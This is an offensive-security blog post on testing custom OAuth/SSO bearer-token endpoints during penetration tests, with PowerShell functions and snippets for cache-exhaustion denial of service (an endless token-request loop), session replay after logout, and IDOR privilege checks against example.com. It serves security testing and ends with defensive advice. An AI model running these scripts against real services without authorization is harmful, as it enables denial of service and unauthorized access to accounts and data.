m1n1's Offensive Security Blog
  • About
  • 2021
    • Office Pretexting Using AutoText and Remote Templates
    • Introducing Red Ira - Red Team Infrastructure Automation Suite
    • Who Let the ARPs Out? - From ARP Spoof to Domain Compromise
  • 2020
    • Basic Exploitation of SSO Access Tokens
  • 2019
    • Wireless Implant C2 for Security Operations
  • 2018
    • Hunting Rogue Access Points
Powered by GitBook
On this page
  • Access & Bearer Tokens
  • Testing Security Functionality
  • Cache Overflows
  • Session Replay
  • IDOR
  • Conclusions & Defense
  • References

Was this helpful?

  1. 2020

Basic Exploitation of SSO Access Tokens

Musings on basic access token exploitation & security checks on incorrectly/custom implemented SSO

Previous2020Next2019

Last updated 4 years ago

Was this helpful?

Access & Bearer Tokens

Bearer tokens and OAuth were originally invented to provide a framework and context for cross-site site authorization. This offered a granular programming interface for access control of resources across trust relationships on the web. Grant types were implemented as different paradigms for authorization scenarios arose across different use cases & devices. Subsets of OAuth functionality were siphoned off and are, likely at the damnation of , implemented in sub-capacities of OAuth's functional purpose. . I often find custom SSO implementations that implement the bearer Token Endpoint using the password grant type via a simple HTTP POST with the username and password in the body as an authentication method. In the eyes of the developer, they gain the benefits, e.g. token & session management functionality, for free without the need to implement a more complex grant type model. This also makes security testing easier, and this post deals with some simple exploits & lapses in defense to check for on a pentest or security audit.

Testing Security Functionality

When I find a convenient token authorization endpoint in my HTTP traffic logs on a pentest, I often focus on session management and make presumptions as to what a custom implementation might be doing under the hood from a data structure perspective. I built the following Powershell template for testing bearer token endpoints, which will be described in the sections following:

function Get-Bearer
{


    Param
    (
        [Parameter(Position = 0, 
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TokenUri,
        [Parameter(Position = 1)]
        [String]
        $Body = "",
        [Parameter(Position = 2)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ContentType = "application/x-www-form-urlencoded"

    )
    try
    {
        [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
        $method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"POST"
        $URI = [System.Uri]::new($TokenUri)
        $hostName = ($URI.Host) -replace '^www\.'
        $maximumRedirection = [System.Int32] 0
        $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
        $headers.Add("Host", $hostName)
        $headers.Add("Accept", "application/json")
        $Body += "

        "
        $response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $contentType -Body $Body)
    }

    catch [System.SystemException]
    {
        Write-Error $_ -ErrorAction Stop
    }

    $bearerToken = ($response.Content | ConvertFrom-Json).access_token
    return $bearerToken
}

function Get-AuthenticatedResource
{


    Param
    (
        [Parameter(Position = 0,
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TargetUri,
        
        [Parameter(Position = 1, 
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Token,
        
        [Parameter(Position = 3)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ContentType = "application/x-www-form-urlencoded"
    )

    try
    {

    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    $method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"GET"
    $URI = [System.Uri]::new($TargetUri)
    $maximumRedirection = [System.Int32] 1
    $hostName = ($URI.Host) -replace '^www\.'
    $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
    $headers.Add("Host", $hostName)
    $headers.Add("Authorization", "Bearer " + $Token)

    $response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $ContentType)
    }

    catch [System.SystemException]
    {
        Write-Error $_ -ErrorAction Stop
    }
    return $response
}

Cache Overflows

This is by far one of the easiest flaws to find in custom SSO business logic. Fundamentally, developers tend to make assumptions about sessions such as:

  • Total users they presume will be using a given application at any given time

  • Users are facilitating normal session flow volumes

Session management can exhibit similar shortcomings. For example, caches that are constructed in memory with a simple data structure rather than scale-aware memory managed structures could potentially allow for an attacker to tie up a worker thread on a server, or amplify a DoS/DDoS attack if the server utilizes session layer thread-pooling without proper load balancing in the infrastructure.

Exploitation

DO{
    
    Start-Job -ScriptBlock{
    Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
    $bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
    -Body "client_id=example-client&username=user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
    $bearerToken
    }

}
While (1)

Implementing this in a multi-threaded context would provide a nice improvement in the future

Session Replay

Session replay is a simple test to ensure that the OAuth/OIDC logout endpoint is implemented correctly, and doesn't allow for an expired token to be used again. This is an important defense-in-depth measure as it ensures that tokens, should they be cached, cannot be compromised in any number of ways including (but not limited to):

  • Physical Access

  • Browser Exploits

  • Trojans

Exploitation

This can be performed with the following Powershell invocation (again requiring your own tuning), which gets a token, makes an authenticated request for privileged resources, hits the expiration endpoint, and then again attempts to make the same authenticated request:

Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
-Body "client_id=example-client&username=user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
#$bearerToken

Write-Host "Making Request.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode


Write-Host "Initiating Token Expiration.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/protocol/openid-connect/logout?redirect_uri=https%3A%2F%2Fexample.com%2F%23%2Fusers"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode

Write-Host "Making Request with Expired Bearer Token.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
    -Token $bearerToken
#$response.StatusCode
$response | Select-Object -ExpandProperty RawContent

IDOR

Another easy win is to test for IDOR, in which a user is able to escalate his or her privileges by simply requesting a high-privilege resource with a low-privilege token context.

Exploitation

Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
-Body "client_id=example-client&username=low_priv_user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
#$bearerToken

Write-Host "Making High Privilege Request.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/authenticatedResource"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode

Conclusions & Defense

References

Thinking back to the early 2000's, were used to DoS routers & network appliances which, simply put, was caused by a failure to evict outstanding TCP SYN negotiations and manage memory properly for the caches which track TCP state.

One solution I have seen commonly adopted is to utilize a distributed performance cache such as , which uses , within its configuration parameters.

While the cache overflow may not always exhibit a DoS condition, continually requesting tokens is a great way to see if their is any rate-limiting in place, both on the application code and encapsulating infrastructure. Furthermore, the cache deadlock condition could be used as a temporary persistence mechanism if target sessions were not subject to a timeout or eviction. Those sessions could be leveraged in further client-side attacks such as .

Using the , add the following Powershell invocation, after tuning the body request to suit your target:

It is never a good idea to roll your own SSO, but if the enterprise at large demands it be sure that proper protective measures are taken to ensure proper application-level access management, data structure implementations, and session management configurations. Perform periodic & comprehensive reviews of all source code, and most importantly to continuously ensure security practices as part of the development process. Be sure that the code is compliant with industry standards such as , and the if relevant to the organization. If available, replace legacy SSO implementations with pre-built, for your specific stack.

the RFC
Thus the password grant type was born
SYN floods
ehcache
a FIFO to evict entries
Session Fixation
instrument a DevSecOps pipeline
RFC 6750
OIDC specifications
industry approved libraries
template above
OAuth Grant Types
Logo
OAuth 2.0 Bearer Token Usage
Logo
RFC 6750 - The OAuth 2.0 Authorization Framework: Bearer Token Usage
What is the OAuth 2.0 Password Grant Type?Okta Developer
Ehcache
Logo
Logo
Logo